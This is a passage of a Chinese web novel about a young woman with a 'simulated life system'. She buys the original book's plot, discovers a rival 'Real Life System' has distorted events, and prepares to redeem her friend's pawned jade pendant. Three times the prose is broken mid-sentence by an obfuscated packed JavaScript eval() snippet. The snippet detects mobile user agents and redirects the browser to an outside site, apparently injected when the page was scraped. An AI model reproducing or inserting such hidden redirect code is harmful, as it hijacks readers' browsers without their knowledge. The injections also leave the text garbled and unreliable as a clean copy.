残阳下，两人相视一笑。 未尽之意皆消弭在不言之中，有一种独属于女人的默契。 “对了，我有事要问你，先不谈这些了，”嬴若水问，“小曜，明日你有什么安排么？” “明日……” 云曜思忖片刻。 她想到，今天课上冯见微曾对她说过，明日是休沐日，换言之也就是休息日。 “我打算出门，找个书斋去买点书。别的就没什么了。” 今晚，云曜准备学到[文学]升级为止，但如果没能成功升级，她也不会再枯坐明天一整天。 没成想，嬴若水眼睛一亮。 “太好了！” 紧接着，她双唇翕动，说出了让云曜分外震惊的话。 “那你明天，可否陪我一起去城里的青楼？” “我有个男人想赎出来！” * 去青楼。 想赎个男人出来。 当晚，云曜一页页地翻着《玄黄策》，脑海里还在回味着嬴若水说出的话语。 听嬴若水说，她有个两小无猜的男青梅，自小跟她一起长大，可前年突然举家搬迁，杳无音讯。 后来才知道，是那家的妻主沾上了赌瘾，赌品又极烂，在外惹了不少道上的债主，只好连夜逃离。 有传言称，这女人丧心病狂，逃难过程中，把自家的男孩都卖给了窑子，自己拿着银钱继续南下跑路。 “唉，可怜我那青梅温顺驯良，容貌俊俏，实在出众得很。想必……早就被他姥子盯上了。” 讲到这里，嬴若水深深地叹一口气。 最近，北岳县上最大的青楼在办“赏花季”——当然，这里的“花”，并非真实的花朵，而是指新上牌子的花魁伶人。 嬴若水前段时间凑热闹，跟一位偶尔约着蹴鞠、在艮山学宫外门读书的纨绔同窗去看了眼。 没成想，正好在一大堆莺莺燕燕里，看到了自己的那位小青梅。 据她所言，当时两人便执手相看泪眼——准确来说，是那位少男泪眼朦胧，隔着一大堆人对嬴若水露出了求救的眼神——终无语凝噎。 嬴若水的原话是： “我怎忍心见昔日青梅落难至此？在你来学宫前几天，我把从小跟着我的一块玉佩典当了，掐指一算，明天便能换出钱来，去把他赎出！” ……典当玉佩？ 不知为何，云曜莫名有点心神不宁。说不出是什么缘由，她总觉得有哪里不对劲。 算了，还是不要想了。 云曜深吸一口气，把心思拉回当下，想：自己该认真看书才是。 她手指悬在书页上方，聆听耳边灯烛发出的“毕波”声，还听到了不远处陆丹若辗转反侧的衣物摩擦声——自回来后，陆丹若便苦苦劝她，读书虽好，但不要读书读坏了身子。 现在看来，只要她没睡下，陆丹若便也不会睡。 男人向来心小。 听这窸窸窣窣的声音，陆丹若定是因为担心她，才会睡不好觉。 云曜定定神，继续驾轻就熟地翻看着《玄黄策》，终于在后半夜，听到了自己期盼已久的系统提示音。 滴！ 【你提升了[文学]技能。当前等级：2级。】 【技能效果：你可以快速记忆书籍（2级）的内容了。与常人相比，你的阅读质量更高。】 【《玄黄策》（2级）已精通。】 只是，与想象中单纯升级文学技能的情境不同。 还有一大串始料未及的文字，在她脑海中刷了屏。 滴！滴！ 【模拟人生系统2.0版本更新完成。原系统部分功能已强化升级。】 【《凰将：不败战神》的故事内容已解锁，宿主具备相关购买权限。】 【提醒宿主，由于您与未知存在的干预，原书内容已发生扭曲，当前内容仅作参考。】 27. 第 27 章 至此，系统的提示仍未结束。 【开启成就系统、商城系统。】 【正在结算宿主1.0版本已达成成就——】 【结算完成。】 【共计完成4项成就，获得2000点人生点数。详细信息请稍后于成就面板查看。】 一时间，太多的提示音跳出，让云曜有点晕头转向。 “等一下，系统。这究竟是多了几个新功能？” 【建议宿主自行体验，静心观察。】 云曜如它所说，尝试屏气凝神，果真发现自己脑海多了一块四等分的透明面板。 ——分别是抱负、技能、成就跟商城。 前两个“抱负”跟“技能”，都是先前的1.0系统版本里就存在的。云曜快速浏览了一遍，确认除了自己的[文学]技能增长到2级外，其余部分并没有发生变化。 至于新增加的“成就”跟“商城”…… 她略一思忖，决定按顺序查看。 “我要查看自己的成就。” 【为您显示当前已达成成就。】 很快，就有4条成就整整齐齐地排列在云曜眼前。 【芳心粉碎机： 不管是有意还是无意，你都成功粉碎了一个少男的爱慕心。 相关人物：许七九】 【五星级徒儿： 千里马常有，而伯乐不常有。你顺利拜得一位世所罕见的五星名师。 相关人物：沈令仪】 【小金库（50两）： 凭借某种方法，你收获了人生的第一桶金。恭喜你，当前个人财产大于50两金子。 相关人物：云和月、云旼】 【读书百遍其义自见： 世人皆称：书中自有黄金屋。对你而言，你已经把这个屋子看了一百遍。 相关人物：无】 有的成就达成时间很早，比如“芳心粉碎机”。早到云曜都快忘记，许七九究竟是何许人也。 不过，这些并不重要。 重要的是，自己靠这4项成就，收获了2000点人生点数。 这可是整整2000点！ 再加上之前拜师拿到的1000点数，现在的云曜，已经拥有接近3000点数，也就是说，能活近三百天时间。 完全能顺利撑到半年后的郡试。 “……呼。太好了。” 想到这里，她如释重负。 胸口仿佛有块沉甸甸的大石，被移开来。 【宿主，你不再看看商城系统么？】 “嗯？好，我看一下。” 差点忘了，还有一个新增的部分没有看。 商城，应该是购买东西的地方吧。 云曜忽然想到，自己刚刚留意到一个细节：在一大串系统提示中，有一条是提醒她“具备购买《凰将：不败战神》原书权限”。 不知道是要用什么货币进行购买？ 【已为宿主显示商城。】 出人意料的是，商城面板很干净。 到处空空荡荡，仅在正中央有四个依次排列开的书籍封面。 云曜的目光缓缓移动，发现上面都是嬴若水威风凛凛的模样，差不多是从孩童到中年时期。 《凰将：不败战神（第一卷）》《凰将：不败战神（第二卷）》…… 全部是原书。 只是，还有一处地方不容忽视，那就是：每卷书籍的正上方，都有一个金光闪闪的数字。 在原书第一卷，后面标注着100，第二卷则是1000，之后每卷都依次多加一个“0”。 以此类推，金光最耀眼、数额也最为巨大的第四卷，达到了100000。 云曜深吸一口气，忽然有种不祥的预感。 她眼角一抽，默然片刻。 “系统，你可别告诉我，这个数字，指的是我的人生点数。” 滴—— 系统发出了幸灾乐祸的“滴”声。 【恭喜宿主，答对了。】 听到这个回答，云曜几欲吐血。 可恶！ 她就知道系统不会这么好心。 原书第五卷标注的价码，是十万的人生点数——按照10:1兑换比例，能让她多活一万天，接近30年。 整整30年！ 一个人的一生中，能有多少个30年？ 【本模拟人生系统遵循“等价交换”原则，请宿主相信，商城贩卖的内容，绝对会物有所值。】 云曜冷哼一声：“这是要拿命换的，我可买不起。” 说完，就准备关闭商城。 作为从鬼门关走过一遭的人，她比谁都惜命。更何况，现在的日子舒心又有盼头，云曜只想活得久一些、再久一些。 这个商城里的东西，她是绝对不会碰的。 云曜心安理得地想：就算知晓了原书内容，对她又有什么影响？ 自己本来也只是书中的炮灰配角，只要安心跟在嬴若水身边，让对方走走剧情，自己跟着喝口汤就行了。 然而。 在关闭商城前，一股针扎般的疼痛忽然刺了云曜一下。 让她冷不丁起了一身鸡皮疙瘩。 下一刻，难以言说的失神感笼罩住了她。 ——不要这么做。 ——你要看，用自己的双眼亲自去看。让一切回归正轨。 ——看看这片土地上，究竟在发生些什么。是什么东西，在悄悄改变？ 恢弘缥缈的女声，忽然在她脑海中响起。 这是……？ 云曜打了个寒颤。 跟之前来葵水做梦时，格外相似的声音。 仿佛是为了回应她一般，系统提示音适时在她耳边响起。 【[通神]技能已发动。】 * 今晚，注定是个不平凡的夜晚。 云曜熄灭灯烛，脱下外衣，回到床上躺下。不久后，她听到隔壁的陆丹若变得安静下来，不再辗转反侧。 悠长又沉静的呼吸声在室内响起。 他应当是睡下了。 一片黑暗宁静中，云曜也紧紧闭上双眼. 只是，她这样做，却不是为了睡眠——她最终还是买下了原书的前两卷，共计花费了1100人生点数。 “我这是拿三个月的生命，换了这两卷书啊。” 云曜苦笑一声，低声喃喃。 心疼么？ 自然是心疼的。 但是，[通神]技能的描述是，自己的女性直觉被强化，能够预感到危急时刻来临；再加上，连那道疑似娲神的声音都在提醒云曜，让她不要错过这个机会。 种种迹象表明，原书里，一定有不能被遗漏的重要内容。 【是否开始阅读《凰将：不败战神》第一卷？】 “嗯。” 下一秒，云曜眼前展现出一种颇为神奇的画面：足以擎天立地的巨大书页在眼前摊开，与此同时，书页上方还浮现出近似电影的投影画面。 “……！” 与往日的寻常阅读不同，她能感觉到，画面与文字像是一条奔流不息的河流，直直从书中灌输到了她的脑海。 令人身临其境的环境音在耳畔响起。 “至少要保住嬴将军的后代！快把少主带走！” 云曜听到女人声嘶力竭的吼声，混合着纷杂的脚步声，以及男人撕心裂肺的哭声。 “这块玉佩，是我给女儿留下的信物……有朝一日，她定能长成一位威风凛凛的大姑娘，还我嬴氏清白，为我嬴氏正名！” 云曜恍然大悟。 ——这是嬴若水降生时的场景。 此后，画面一转，来到了青州境内的祥符郡，北岳县。 在这里，云曜目睹了嬴若水十五岁及笄前发生的故事：天生神力的少年，自小不爱读书，跟绝大多数普通人一样，童年过得平平淡淡。 如无意外，少年这一辈子都会在北岳县度过，作为城内的屠户娘子，日复一日在摊位前辛苦劳作。 然而，在嬴若水及笄那一年，一个面容冷峻的神秘老太太出现了。 “你这块玉佩，是谁给你的？” 少年警惕地捂住玉佩：“你这老妪想作甚？我告诉你，我阿娘可是城里有名的屠户，能挥大砍刀骟猪的！我、我也很有力气。” “……果真如此。你很像她。” 老太太态度发生了一百八十度大转变。 她自称是“一位旧友”，开始教嬴若水锻炼身体、读书写字，还教给她晦涩难懂的兵法知识。 仅仅半年时间过去，嬴若水便飞速进步，从一开始的大字 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13519832|140262||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不识，最终达到了能进入艮山学宫内门的水平。 “若水，我要走了。你学得很快，我已经没什么可教给你的。” “师尊，您的名字是？” “不必问我姓名。我只是……你母亲的一位旧友。整个盛京都没遗忘过你的母亲，若你日后来盛京，我们或许还能再见面。” 之后，老太太便消失了。 画面一黑。 【第一卷阅读完毕。】 【是否开始阅读《凰将：不败战神》第二卷？】 云曜面上残留着一丝震惊：她可是看得清清楚楚，嬴若水身上有一块玉佩。 那块玉佩，象征着嬴若水“天命之女”的身份，是一切故事的起因。 可是。 今天嬴若水对自己说过，她前几日刚刚典当出去一块玉佩。 她口中的“玉佩”，难道会是…… 想到这里，云曜有些着急：“我要看第二卷！” 话音刚落。 跟先前阅读第一卷时一样，又是一大堆画面跟声音涌入她脑海。 这一次，是嬴若水加入艮山学宫后的故事。 少年正常读书、学习、锻炼身体，然而，在学宫学习的三年期间，她每年郡试都会落榜。 读书第四年，她遇到了陆丹若——一位不好相处的盛京腔同窗。 嬴若水并不知道陆丹若是男扮女装，只觉此人高傲难懂，盛气凌人；另一边，陆丹若也觉得嬴若水粗鄙浅薄、头脑简单。两人性格不合，时有龃龉。 某日，一位特意关照陆丹若的盛京大儒“沈令仪”来到学宫。 陆丹若见到熟人，心防卸下。 如竹筒倒豆子一般，把自己多日来受到的委屈都吐了出来。 他眼角通红：“呜……我阿娘说了，这边没人知晓我陆氏子的身份，能让我以女儿身安心读书。” “可是，沈女君，那泼皮女实在碍眼得紧，我如何能静下心来，学习知识？” 沈令仪见朋友唯一的儿子竟受了如此委屈，一怒之下，不惜自降身份去跟嬴若水理论。 “何人是嬴若水？” 找到嬴若水时，正好看到她在典当玉佩。 “……你怎会有这块玉佩？！”沈令仪面露惊色，“这可是嬴大将军给她女儿留下的信物！莫非，你、你……” 自此，一切顺理成章——嬴若水意外得知玉佩由来，又找自己的屠户母亲了解真相，一番纠结后，最终决心跟着沈令仪返回盛京。 正巧盛京最近传来战报，有外族骚扰大曌边境。 嬴若水作为曾经的大将军之女回归，刚一回京，便受到万众瞩目。 画面一转，来到一处萧瑟冷清的房内。 三年前，教过嬴若水许多知识的老太太，也又与她重逢。然而，这次重逢，是在病榻之上。 嬴若水饱含热泪，飞奔到形销骨立的老太太身边。 老太太气若游丝：“我时日无多，能最后见将军之女一面，已是死而无憾。” “师尊，你还没告诉我，你是谁……” “咳咳，我只是嬴将军曾救下的一个无名小卒，”老奶奶唇角浮出血沫，露出一抹惨笑，“但我跟随将军征战多年，明白她死前受了多大的委屈。” “我的名字不重要，重要的是，你要能知道，你母亲是蒙冤而死。” 嬴若水震惊：“蒙冤而死？！” “嗯。你凑近些，让我告诉你。其实，世人或许都不会相信，这件事的幕后黑手是——” 老太太嘴唇翕动。 然而还没说完，便两腿一蹬，已然断气。 与此同时，画面一黑。 第二卷到此结束。 云曜：“……” 云曜：“…………” 他爹的。 断章断在这里，也太没人性了！ 人死前都说了那么长一串话了，至少再让人家把幕后黑手是谁给供出来吧？ 【不对，宿主，重点应该不是这个。】 系统突然出现，声音中带着不安。 【重点是，因为某些原因，沈令仪没能按时到达艮山学宫，导致她根本没跟嬴若水见面，也没能认出玉佩。】 【现在，身为主角的嬴若水没法赶到盛京……】 【恐怕，一切都要乱套了。】 28. 第 28 章 云曜一愣，倒吸一口冷气。 “你的意思是，因为我当初拜沈令仪为师，在路上拖延了她的时间，才让她没能按时赶到艮山学宫？” 不会吧。 难道，这一切都是她的锅？ 【不是，宿主。我不认为这全是你的问题。只是，我感受到了……】 【一股熟悉的，危险气息。】 系统的含糊其辞，令云曜更加困惑。 “那现在要怎么办？” 【我建议宿主再重看一下原书，寻找一下，究竟是哪里出了问题。】 云曜没有犹豫，不假思索地点头：“好。” 既然有地方不对劲，那就追本溯源，去看看究竟发生了什么。 先前那道恢弘女声的忠告，还在她耳边荡然回响。 ——你要看，用自己的双眼亲自去看。让一切回归正轨。 ——看看这片土地上，究竟在发生些什么。是什么东西，在悄悄改变？ 【宿主，你想看《凰将：不败战神》的哪一卷？当前拥有的内容是：第一卷、第二卷。】 “我……” 此时，时间已悄悄来到了后半夜。 饶是云曜有[寝眠]技能，可以缩短睡眠时间，却也不可能做到彻夜不睡。 把两卷书重新通读一遍，工程量实在太大。 现在的她，只能选择自己认为更可疑的一卷来阅读。 云曜在脑海里快速过了一遍两卷书的剧情，最终下定决心。 “我要看第二卷。” 第一卷的内容讲述的是嬴若水从降生到及笄，这是云曜完全没有参与过的一段时光。 就算里面真有什么猫腻，她估计自己也看不出来。 至于原书第二卷，则是嬴若水在艮山学宫求学的四年。 以云曜目前对艮山学宫的了解程度，她认为，万一里面真有问题，自己应该能发现其中的异样。 【开始阅读《凰将：不败战神》第二卷。】 刹那间，云曜眼前重又陷入黑暗。 这次，她跟着及笄后进入学宫的嬴若水，重新走了一遍求学路。 除开一些琐碎小事，云曜关注的，是嬴若水在这三年间最为重要的大事。 也就是—— 郡试。 冥冥之中，她总觉得有什么地方不合理。 书中，嬴若水的科举之路堪称艰辛，她每每做足准备，却每每失望而归。 第一年郡试，不中。 第二年郡试，不中。 第三年郡试，还是不中。 云曜一边观看故事，一边心想：嬴若水先前在迎新宴上也说过，她已连续落榜了三年。 现在看来，这个说法确凿无误。 若是寻常人连续落榜三年，多少会有些心态失衡。不过嬴若水天性爽朗乐观，在书中，对于连落三年这件事，她并没有展露出多少难过。 她每年还都会祝贺考中的同窗前程似锦，将来必定…… 嗯？ 祝贺别人？ 也就是说，每年都有同窗考中？ 突然间，云曜脑海电光石火般闪过了迎新宴时的场景：那时，一提到郡试，在场的诸位女郎都愁眉苦脸，声称自己年年落榜。 年年都落榜。 也就是说…… 在现实中，近年来，艮山学宫根本没人能通过郡试！ “等一下，系统！我要着重看一下嬴若水首次参加完郡试的时候。”云曜心跳漏了一拍。 ——终于找到了。 她有预感：这小小的违和，或许会变成巨大的突破口。 【已将故事线调整至第一年郡试放榜。】 眼前场景飞速变换，最终，定格在一个阳春三月暖融融的午后。 只见嬴若水双手作揖行礼，真心实意地恭喜道。 “恭喜刘姊，此次竟入围了小圈。” 祥符郡的郡试结果，是于郡衙前张贴榜文。 这种榜文并非像后世那样，按名次将众人从上到下排列，而是自最后一名开始，将其姓名置于榜文边角，再按顺时针圈状排名。 如此一来，最中间的便是榜首。 榜首周围的一小圈名字，一般是第二名到第十名，也同样受人瞩目，当今世人称之为“入围小圈”。 那名被嬴若水叫做“刘姊”的女人春风满面，转过身来，嘴角都快咧到耳根。 “谢谢贤妹祝贺。今年，愚姐不过是靠了些运气，”她语重心长地对嬴若水说，“你且莫灰心，以你的聪明伶俐，来年榜上必有你的名字！” “——！？” 云曜心下一沉。 却不是因为这句客套话的内容。 而是因为…… “刘姊”的这张脸，她今天才从学堂里见过！ 这不是那个极力对她献殷勤，想把《玄黄策》往她手里塞的黑脸女郎么？ 在原书里，她居然在第一年就已经考上了？ 拔出萝卜带出泥，这之后，云曜又在故事里接二连三发现了不少熟悉的面孔。 “恭喜付苒姊姊。” “恭喜柳姊今年成功通过郡试！” “恭喜……” 每个人的容貌，都不陌生。 ——全是迎新宴上，一提到郡试就愁眉不展、牢骚满腹之人。 没想到，在原书里，她们的命运截然不同。 在嬴若水的一声声恭喜中，春去秋来、季节轮转，艮山学宫在三年间，已经换了好几批人。 等到陆丹若来时，学子们都已经是云曜没见过的生面孔。 换言之，完全是大换血。 看到这里，云曜难掩心中的震惊。 “原来如此，原来如此……”她认真思考了一会儿，打心底里觉得，原书这种发展才是最符合逻辑的。 郡试，仅仅是科举路上的第一道关卡。 以艮山学宫招生的严苛，跟它在青州境内的享誉程度，怎么可能会“积压”那么多落榜生？ 一定有什么地方不对劲。 “系统，你见过这种情况么，”她连忙询问，“原书的内容，怎么会被更改成这个样子？” 【……】 系统罕见地沉默了许久。 “……系统？” 【抱歉，宿主，我暂时无法解答你的这个问题。因为，我还没有确凿的证据。】 证据？ 云曜蹙起眉头，从它的话语中琢磨出一丝深意：“也就是说，你已经有了怀疑的人选？” 只有先存在怀疑对象，才有可能去寻找证据。 【没错。】 【恐怕它跟它的宿主，已经捷足先登了。】 系统顿了顿，电子音中出现一丝不稳的波动。 “它跟它的宿主？你指的是……” 云曜没想到系统竟会说出这样的话，颇为讶异：“除了你之外，居然还有别的系统？” 系统沉默半晌，才艰难开口。 【是的，还存在其他系统。而它的名字是——】 【真实人生系统。】 * 次日一早，云曜麻利地从被窝里爬起。 窗外天色晦暗朦胧，清晨冷凝的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13547129|140262||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 露珠还挂在叶面上，将落未落。 今天是休沐日，整个学宫被一股安详寂静的气氛所笼罩，连天边呈“人”字飞过的大雁，在翅膀扇动间，都带了一种独属于秋日的慵懒。 时间尚早。 云曜却全无睡懒觉的心思。 她按昨晚的想法，飞快地穿好衣服，窸窣行动时，不小心惊动了隔壁床的陆丹若。 “唔……” 陆丹若困倦地起身，一头鸦羽般的墨色长发披在脑后。 哪怕经历了一整晚的睡眠，他的头发也不显得毛躁，看上去分外柔顺有光泽。 “玉镜娘子，怎么起得这样早？” 他揉了揉眼角，又打了个呵欠，伸出修长手指拢了拢略显凌乱的中衣，此时，衣袖微微滑落，不小心露出一截白皙纤细的手腕。 一举一动间，有种青涩少男的独特韵味。 “昨晚你那样刻苦，不再多睡会儿么。” 似是意识将将回笼的缘故，陆丹若拖着长腔，语气中还带着些鼻音，不免令人浮想联翩。 只是，云曜却无心欣赏美人美景。 “今天有事要做。” 她低头整理好自己腰间的玉带钩，余光觑了他一眼，没多回答。 这冷淡敷衍的回答，将陆丹若的睡意冲醒了一大半。 “玉镜娘子，你心情不好？”他观察着云曜的脸色，小心翼翼地询问。 心情不好？ 如果真有这么简单，就好了。 云曜不着痕迹地叹一口气，想到昨晚跟系统的交心长谈。 【其实，宿主，是这样的——】 当时，在提到“真实人生系统”后，系统简单地交代了一下两统之间的恩恩怨怨。 简单来说，两个系统的关系，可以用“水火不容”来形容。 模拟人生系统更倾向于“和谐共生”。 它为宿主提供的功能，更多地是希望宿主好好生活在这个世界上，“你好她好我也好”，在自己好好生活的同时，也让世界变得更美好。 ——像一位包容的母亲。 真实人生系统则倾向于“纷争独赢”。 它通常会挑战原世界的秩序，通过掠夺、侵占、战争等手段，教唆宿主去破坏世界法则，“吾见吾至吾征服”，把整个世界变成自己的私有物。 ——像一位雄心的父亲。 本质上，两统天生对立。 尤其是真实人生系统，对模拟人生系统的存在格外不爽。 它一直希望能将模拟人生系统彻底消灭，迄今为止，已经挑起了无数的战争。 也毁掉了无数的世界。 【我实在是忍无可忍了！我告诉它，下一次将是我们最后一次见面。谁要是输了，就不能再拥有“系统”的身份。】 系统攥紧了不存在的小拳头。 作为没有实体的“生物”，剥夺其存在身份，已经称得上是最为严重的惩罚。 【我跟它说，我们两个要公平竞争，同时挑选宿主，看看世界究竟是会变得更好，还是更坏。】 它忿忿道： 【万万没想到，“真实人生系统”居然会这么不择手段。】 【我怀疑，它无视了我们当初的约定。为了达成搅乱世界’的目的，也许它早就提前投放了宿主。】 听到这里，云曜太阳穴一跳。 她自心底生出一股不祥的预感：“提前？” 【现在，说不定在我们看不见的地方……】 系统再开口时，语气中带了一丝隐隐的不安。 【对面已经在有所行动了！】 29. 第 29 章 云曜眉头紧锁，陷入沉思。 也就是说。 如今的大曌朝，算是两个系统最后的主战场。 一方想让这个世界死，另一方则想让这个世界生。 “听你的意思，我们现在算是腹背受敌了，对么？” 她脑筋转得很快：“既要找出原书中的幕后黑手，又要想办法应对‘真实人生系统’的宿主。” 根据系统的解释，这两批人（也有可能是非人）都会对这个世界产生威胁。 【……是这样的。】 电子音无精打采，有些低落。 不知不觉间，一人一统陷入了沉默。 黑夜之中，窗外虫声嘲哳，室内却鸦雀无声。 直到云曜先打破了沉寂。 “好了好了，别这么垂头丧气。”她语气并不沉重，甚至称得上轻松。 来到这个世界的时间不算长，可是，云曜已经对这里产生了发自本心的归属感。 这就是她要生活下去的地方。 自己一定要想办法，保护这个世界正常运转，维持世界应有的秩序。 ——必须要做的事，何谈退缩？ 一定得有“虽千万人吾往矣”的气势。 所以，云曜非但没被系统的愁绪所影响，还能反过来去安慰它。 “现在我们不是发现不对劲了么？你别急，等明天一早，我就拉着嬴若水，让她去把玉佩赎回来。” 云曜想：自己并不知道“真实人生系统”的宿主，对这个世界做了什么。 但至少，她要想办法把原书情节拽回原轨。 眼下第一步要做的，是让嬴若水典当出去的玉佩归位。 【可是对方已经提前很久——】 系统的犹犹豫豫被云曜打断。 她坚定道：“没关系，就算对方抢跑，我们也不一定输。” 只要原书的剧情还在可控范围内，自己就有办法跟敌人对抗。 况且。 自己手上还握有一张王牌——原书女主，嬴若水。 这可是原书中的主角！ 主角是一定能撑到大结局的存在。原书有整整四卷书，现在才过去一半不到。 想到这里，云曜轻声对系统说。 “你跟着我一路走来，你想想，我有哪次辜负你的期望了么？” 她缓缓眨了下眼睛，视线望向虚空中的一点。眸子在沉夜之中，隐隐有晶亮璀璨的光芒闪动。 透出一种极具感染力的自信与神气。 在云曜内心深处，除了原书主角这个“外援”，她还十分相信自己：在这段时日里，她已经成长了许多；肉眼可见的是，未来她还会成长得更多。 ……不断向上、再向上。 直到步入无人能及的地方。 【没有，你是个很好的宿主。】 系统默了默，回答她。 “这不就行了，”云曜勾起唇角，一字一顿劝慰它，“我是你选出来的，你要相信自己，也要相信我。” “不管怎么样，我们是一条船上的人。我会跟你……不，我们会一起走到最后。” 【……宿主……】 听她这么说，系统竟有些感动。 经历了那么多世界，云曜还是第一个能反客为主、让它安下心来的宿主。 如果它能凝成实体，想必现在它已经抱紧云曜的大腿，原地哇哇大哭了。 【你说得没错，我们一定会一起走到最后。】它说。 云曜听出系统已经恢复元气，满意地打了个呵欠：“行了，今天也做不成什么事，就先到这里吧。明天还要早起。” 神经放松下来，睡意后知后觉涌上来，眼皮似有千钧重。 沉入睡眠前，她听到系统说： 【对了，以我对“真实人生系统”的了解，它一定会选中对这个世界中最难缠、最有恶意的宿主。】 电子音分外凝重： 【所以，宿主你接下来一定要小心——】 【千万不能对任何人暴露我的存在，也切记，不能暴露你的身份！】 * 时间回到翌日清晨。 笃笃笃—— 艮山学宫西苑深处，嬴若水院内的门扉被人敲响。 “你是……” 听到敲门声，嬴若水吃惊地看着门前站着的人。 对方身着一件绣工极精湛的天青色晕染烟罗裙，裙摆有镶边云纹点缀，脚蹬蓝漳绒串珠云头履，腰间的鹤纹如意玉带钩在光下反射出灼目的光华。 凤骨凰姿，英英玉立。 任谁看了都会禁不住赞一句：好一个衣冠楚楚的翩翩淑女。 ——而此人，正是云曜。 “你、你，小曜？！” 嬴若水瞠目结舌：“你今日，怎会穿得如此隆重阔绰？” 相处至今，她自认为，已经领略过云曜的不同面貌。 没想到，这位好姐妹身上，居然还藏着她不知道的惊喜。 迎着嬴若水不敢置信的目光，云曜淡然一笑。 “因为今天有重要的事要做。” 她这是跟云旼学的穿衣方法：自家亲姐出门在外，向来富贵逼人、珠光宝气，主打一个“全世界都得知道老娘很有钱”。 效果也十分显著，至少跟她打交道的人，只要看到她那一身昂贵行头，都不会轻慢于她。 ——正是云曜今天所需要的。 嬴若水沉吟片刻：“做重要的事？噢，我想起来了，你今天要去书斋买书。” 没想到，云曜却轻轻摇了摇头，说：“并非如此。我的事之后再谈，现在要先做你的事。” 嬴若水面露困惑之色。 她伸出手指，指向自己：“我？” 自己今日的确有事情要做——去青楼赎个男人。 但青楼直到傍晚时分才开门接客，两人就算这么一大早跑过去，也会吃个闭门羹。 这是打算做什么？ “没时间了，我们路上边走边谈，”云曜抬头觑了眼天光，“你今日应当不打算晨练吧？那我们就快些走。” 她转过身，不容分说地拔腿就走。 “噢、噢。” 嬴若水虽丈二和尚摸不着头脑，但还是亦步亦趋跟在她身后。 两人刚走到艮山学宫门口，忽然有一名云曜熟识的矮壮护院走上前来，递出纸卷。 “给云小女君，书单。这是冯女君，昨日写好的。她嘱托，交付于你。” 一听这独特的发音腔调，不难辨别出来人是谁。 “谢了，子越娘子。” 云曜三下五除二，把书单折好放在怀中。 她又想起了什么，问郭子越：“我家仆从可还在此地停留？” “嗯。随时听候，云小女君，差遣。需要把她们，叫过来么？” “人不用过来，但要让她们多拿些银两……”云曜想了想，实在不知道嬴若水的玉佩究竟值多少钱，又改口道，“把我阿母给我的钱，都拿过来吧。” 云曜通过先前弹出的[小金库]成就，知道自己至少有50两金子身家——应当都是来学宫前，母亲跟姐姐赠予她的。 郭子越沉默片刻，道：“全部，都拿过来？” “没错。” “可是， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13566982|140262||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 除了银子，还有黄金。”她话带犹豫。 云曜见郭子越面色变得微妙，还以为她是怕自己乱花钱，开口解释道：“没事，都拿过来。我今天要买一件很重要的东西。” “嗯。这样，我已知晓。” 郭子越默默点了点头，转身离开。 目送她脚下生风的背影，云曜暗自在心中计算：不知这些够不够赎回嬴若水的玉佩？如果不够的话，自己还要想别的…… 还没等她盘算出结果，身旁忽然传来一道破音的女声。 “黄、黄金？！” 回头一看，嬴若水双眼瞪得像铜铃：“小曜，你哪来那么多钱？不对，你到底要去买什么？” 云曜这才把真实目的和盘托出：“我要去帮你把玉佩赎回来。” “玉佩……你是说，我前几日典当出去的玉佩？” 嬴若水沉默片刻，显得不知所措。 “可是，我那枚玉佩，也才典当了8两银子啊。”她小声说。 大曌的一两黄金，差不多等于10000块钱的购买力，换算下来，银子差不多每两1000块。 8两银子。 连一两黄金都不到。 也就是说，这枚玉佩，才卖了相当于后世的8千多块钱。 【她这绝对是被人坑了吧……而且，只拿着八两银子，她真能把自己的青梅赎回来么？】 系统忍不住吐槽。 对此，云曜也深表赞同。 她虽没去过这个世界的青楼，但凭常识也能猜到，区区8两银子，在青楼是绝对赎不了男人的。 放到前世—— 这些钱，给会所的翘屁嫩男点个香槟塔都不太够。 “若水，你……” 她轻叹一口气，正欲说些什么时，忽而有一道沉稳的脚步声在身旁响起。 “云小女君。” 原来，在二人说话间，郭子越已经静悄悄地回来了。 她鲜言寡语，做事却极利落。此时，在她身后，多了两个身形高大、体格彪壮的云氏仆从。 仅仅两个女人站在一起，便形成了一堵人墙。 把身后遮得严严实实。 “怎么把人带过来了？”云曜嘀咕，有些不解。 她分明说过了，自己只需要钱，不需要云氏的仆从跟在身边。 没想到，那两人齐齐对着云曜抱拳行礼，表情异常认真。 左边：“二娘子，已经备好了马车。” 右边：“此行请务必让我们陪在身边！” 云曜刚想说“哪需要费这么多力气”，就见眼前的两人默默向两边退了一步。 露出人墙后面的一个极大、极重的铁制箱子。 正中间箱口处，还挂了个花纹精致繁复的锁。 “我骟？！” 旁边的嬴若水不知发现了什么，没忍住爆了个粗口。 云曜不知道她为什么反应这么大，纳闷地看着那个大箱子。 